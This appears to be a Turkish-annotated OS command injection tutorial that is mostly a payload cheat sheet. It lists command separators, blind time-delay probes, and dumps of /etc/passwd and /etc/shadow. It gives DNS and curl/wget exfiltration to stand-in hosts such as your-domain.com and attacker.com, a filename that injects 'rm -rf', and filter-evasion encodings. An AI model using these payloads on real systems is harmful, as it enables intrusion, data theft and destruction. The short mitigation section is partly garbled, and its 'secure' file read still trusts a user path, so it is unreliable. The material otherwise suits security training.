OS Command Injection

// Vulnerable PHP kodu örneği
$productID = $_GET['productID'];
$storeID = $_GET['storeID'];

// VULNERABLE: Direkt komut çalıştırma
$command = "stockreport.pl " . $productID . " " . $storeID;
exec($command, $output);

// Normal kullanım:
// GET /stockStatus?productID=381&storeID=29
// Çalıştırılan komut: stockreport.pl 381 29

// Saldırı:
// GET /stockStatus?productID=381&storeID=29;whoami
// Çalıştırılan komut: stockreport.pl 381 29;whoami

// Blind injection örneği
// Mail gönderme fonksiyonu
mail("-s", "Feedback", "-aFrom:" + userEmail, "admin@site.com")

// Normal kullanım:
userEmail = "user@example.com"

// Blind injection payload:
userEmail = "user@example.com & sleep 10 &"

# Basit command separator testleri
; whoami
& whoami
| whoami
&& whoami
|| whoami

# Inline execution testleri
`whoami`
$(whoami)

# Quote escape testleri
" ; whoami ; "
' ; whoami ; '

# URL encoded payloadlar
%3B%20whoami
%26%20whoami

# Linux/Unix time delay payloadları
; sleep 10
& sleep 10 &
| sleep 10
; ping -c 10 127.0.0.1

# Windows time delay payloadları
& timeout 10
& ping -n 10 127.0.0.1
& waitfor /t 10 thisisatest

# Universal ping-based delay
; ping -c 10 127.0.0.1; #
& ping -n 10 127.0.0.1 &

# Web root'a output yazma
; whoami > /var/www/html/output.txt
& whoami > C:\inetpub\wwwroot\output.txt

# Sistem bilgisi toplama
; uname -a > /var/www/html/system.txt
; ps aux > /var/www/html/processes.txt
; netstat -an > /var/www/html/network.txt

# Dosya içerik okuma
; cat /etc/passwd > /var/www/html/passwd.txt
; type C:\windows\system32\drivers\etc\hosts > C:\inetpub\wwwroot\hosts.txt

# Append mode kullanımı
; echo "=== SYSTEM INFO ===" >> /var/www/html/recon.txt
; uname -a >> /var/www/html/recon.txt

# Basit DNS lookup
; nslookup burpcollaborator.net
& nslookup your-domain.com &

# Data exfiltration via DNS
; nslookup `whoami`.your-domain.com
& nslookup $(whoami).your-domain.com &

# Encoded data exfiltration
; nslookup `whoami | base64`.your-domain.com
; nslookup $(cat /etc/passwd | head -n1 | base64).your-domain.com

# Windows DNS lookup
& nslookup your-domain.com &
& nslookup %computername%.your-domain.com &

# HTTP request ile data gönderme
; curl http://your-domain.com/$(whoami)
; wget -O- http://your-domain.com/test-$(id)

# POST ile data gönderme
; curl -X POST -d "`whoami`" http://your-domain.com/data
; curl -X POST -d "$(cat /etc/passwd)" http://your-domain.com/exfil

# Windows HTTP request
& powershell -c "Invoke-WebRequest -Uri http://your-domain.com/test" &
& certutil -urlcache -split -f http://your-domain.com/test &

# Backtick execution
echo `whoami`
echo "Current user: `id`"

# Dollar parentheses execution
echo $(whoami)
echo "System: $(uname -a)"

# Quote context escape
" ; whoami ; "
' ; whoami ; '
"; whoami #
'; whoami #

# Linux/Unix advanced reconnaissance
cat /etc/passwd          # User accounts
cat /etc/shadow          # Password hashes (if readable)
cat /etc/group           # Group information
sudo -l                 # Sudo privileges
crontab -l              # Scheduled tasks
find / -perm -4000 2>/dev/null  # SUID files
find /var/log -type f 2>/dev/null | head -20  # Log files

# Windows advanced reconnaissance
systeminfo             # Detailed system info
net users               # User accounts
net localgroup administrators  # Admin users
wmic service list brief  # Running services
schtasks /query /fo LIST  # Scheduled tasks
dir C:\Users /s /b     # User directories

# Sensitive file discovery
find /home -name "*.txt" -o -name "*.doc*" -o -name "*.pdf" 2>/dev/null
find / -name "config*" -o -name "*password*" -o -name "*.key" 2>/dev/null
locate password | head -20

# Database connection strings
find / -name "*.config" -exec grep -l "connectionString\|password" {} \; 2>/dev/null
grep -r "password\|pwd\|pass" /var/www/ 2>/dev/null

# Windows sensitive data
dir /s *password* 2>nul
findstr /si password *.txt *.xml *.config
reg query HKLM /f password /t REG_SZ /s

// VULNERABLE: Shell command kullanımı
$filename = $_GET['file'];
exec("cat " . $filename, $output);

// SECURE: Platform API kullanımı
$filename = $_GET['file'];
$content = file_get_contents($filename);

// Whitelist validation
function validateInput($input) {
    // Only allow alphanumeric characters
    if (!preg_match('/^[a-zA-Z0-9]+$/', $input)) {
        throw new Exception('Invalid input');
    }
    return $input;
}

// Numeric validation
function validateNumeric($input) {
    if (!is_numeric($input)) {
        throw new Exception('Must be numeric');
    }
    return intval($input);
}

// Güvenli parameterization örneği
function safeCommandExecution($userInput) {
    // Validate input first
    $safeInput = validateInput($userInput);
    
    // Use array format to prevent injection
    $command = ['/usr/bin/grep', '-F', $safeInput, '/var/log/app.log'];
    
    // Execute with proc_open for better control
    $process = proc_open($command, $descriptors, $pipes);
    
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        proc_close($process);
        return $output;
    }
}

// Metacharacter filtering function
function filterMetachars($input) {
    $dangerous = [';', '&', '|', '`', ', '(', ')', '<', '>'];
    
    foreach ($dangerous as $char) {
        if (strpos($input, $char) !== false) {
            throw new Exception('Dangerous character detected');
        }
    }
    return $input;
}

// Vulnerable PHP code
$ip = $_POST['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "
" . $output . "
";

// Impact: Full system access through web interface

// Image processing application
$filename = $_FILES['upload']['name'];
$filepath = "/tmp/" . $filename;

// VULNERABLE: Direct filename usage
exec("convert " . $filepath . " -resize 100x100 /var/www/thumbs/" . $filename);

// Attack vector: Malicious filename
// filename: "image.jpg; rm -rf /var/www/*; #.jpg"
// Executed: convert /tmp/image.jpg; rm -rf /var/www/*; #.jpg -resize 100x100 /var/www/thumbs/image.jpg; rm -rf /var/www/*; #.jpg

// Vulnerable email system
$email = $_POST['email'];
$message = $_POST['message'];

exec("echo '" . $message . "' | mail -s 'Feedback' " . $email);

// Blind injection payload in email field:
// admin@site.com & curl http://attacker.com/$(whoami) &

# URL Encoding
%3B%20whoami           # ; whoami
%26%20whoami%20%26     # & whoami &

# Double URL Encoding
%253B%2520whoami       # ; whoami

# HTML Entity Encoding
; whoami           # ; whoami

# Hex Encoding
\x3B whoami           # ; whoami

# Unicode Encoding
\u003B whoami          # ; whoami

# Variable expansion
w${IFS}hoami           # whoami (space bypass)
w$()hoami              # whoami

# String concatenation
'wh'o'am'i            # whoami
"wh"o"am"i            # whoami

# Base64 encoding
echo d2hvYW1p | base64 -d | bash  # whoami

# Hex to ASCII
printf "\x77\x68\x6f\x61\x6d\x69" | bash  # whoami

# Tab character as separator
cmd%09whoami           # cmd[TAB]whoami

# Newline characters
cmd%0Awhoami           # cmd[LF]whoami
cmd%0D%0Awhoami        # cmd[CRLF]whoami

# Form feed
cmd%0Cwhoami           # cmd[FF]whoami

# Null byte
cmd%00whoami           # cmd[NULL]whoami